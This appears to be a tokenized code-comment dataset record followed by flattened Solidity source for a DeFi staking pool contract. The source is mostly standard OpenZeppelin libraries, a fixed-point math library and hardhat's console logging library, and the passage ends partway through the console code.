[ 1, 19132, 358, 2549, 326, 1300, 434, 1931, 6932, 1012, 18, 5947, 711, 358, 506, 3271, 635, 9230, 18, 225, 389, 7236, 3705, 3588, 434, 1931, 6932, 1012, 364, 1554, 287, 20599, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 2549, 3061, 18599, 12, 11890, 5034, 389, 7236, 3705, 13, 203, 565, 1071, 203, 565, 1338, 16936, 203, 565, 923, 18599, 12, 995, 414, 18, 2469, 16, 389, 7236, 3705, 13, 203, 225, 288, 203, 565, 2713, 3705, 273, 389, 7236, 3705, 31, 203, 565, 3626, 3186, 18599, 3043, 24899, 7236, 3705, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x113690cb0EFa6A3D3F78c0F3BcA97cbCdc720903/sources/MICCRVPool.sol
stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public override updateReward(msg.sender) checkStart { require(amount > 0, 'MICCRVPool: Cannot stake 0'); uint256 newDeposit = deposits[msg.sender].add(amount); deposits[msg.sender] = newDeposit; super.stake(amount); emit Staked(msg.sender, amount); }
2,678,155
[ 1, 334, 911, 9478, 353, 1071, 487, 19488, 511, 52, 1345, 3611, 1807, 384, 911, 1435, 445, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 384, 911, 12, 11890, 5034, 3844, 13, 203, 3639, 1071, 203, 3639, 3849, 203, 3639, 1089, 17631, 1060, 12, 3576, 18, 15330, 13, 203, 3639, 866, 1685, 203, 565, 288, 203, 3639, 2583, 12, 8949, 405, 374, 16, 296, 22972, 5093, 58, 2864, 30, 14143, 384, 911, 374, 8284, 203, 3639, 2254, 5034, 394, 758, 1724, 273, 443, 917, 1282, 63, 3576, 18, 15330, 8009, 1289, 12, 8949, 1769, 203, 203, 3639, 443, 917, 1282, 63, 3576, 18, 15330, 65, 273, 394, 758, 1724, 31, 203, 3639, 2240, 18, 334, 911, 12, 8949, 1769, 203, 3639, 3626, 934, 9477, 12, 3576, 18, 15330, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-04-22 */ // Sources flattened with hardhat v2.1.1 https://hardhat.org // File @openzeppelin/contracts/math/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/math/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/libraries/FixedPointMath.sol pragma solidity ^0.6.12; library FixedPointMath { uint256 public constant DECIMALS = 18; uint256 public constant SCALAR = 10**DECIMALS; struct uq192x64 { uint256 x; } function fromU256(uint256 value) internal pure returns (uq192x64 memory) { uint256 x; require(value == 0 || (x = value * SCALAR) / SCALAR == value); return uq192x64(x); } function maximumValue() internal pure returns (uq192x64 memory) { return uq192x64(uint256(-1)); } function add(uq192x64 memory self, uq192x64 memory value) internal pure returns (uq192x64 memory) { uint256 x; require((x = self.x + value.x) >= self.x); return uq192x64(x); } function add(uq192x64 memory self, uint256 value) internal pure returns (uq192x64 memory) { return add(self, fromU256(value)); } function sub(uq192x64 memory self, uq192x64 memory value) internal pure returns (uq192x64 memory) { uint256 x; require((x = self.x - value.x) <= self.x); return uq192x64(x); } function sub(uq192x64 memory self, uint256 value) internal pure returns (uq192x64 memory) { return sub(self, fromU256(value)); } function mul(uq192x64 memory self, uint256 value) internal pure returns (uq192x64 memory) { uint256 x; require(value == 0 || (x = self.x * value) / value == self.x); return uq192x64(x); } function div(uq192x64 memory self, uint256 value) internal pure returns (uq192x64 memory) { require(value != 0); return uq192x64(self.x / value); } function cmp(uq192x64 memory self, uq192x64 memory value) internal pure returns (int256) { if (self.x < value.x) { return -1; } if (self.x > value.x) { return 1; } return 0; } function decode(uq192x64 memory self) internal pure returns (uint256) { return self.x / SCALAR; } } // File contracts/interfaces/IDetailedERC20.sol pragma solidity ^0.6.12; interface IDetailedERC20 is IERC20 { function name() external returns (string memory); function symbol() external returns (string memory); function decimals() external returns (uint8); } // File hardhat/[email protected] pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { 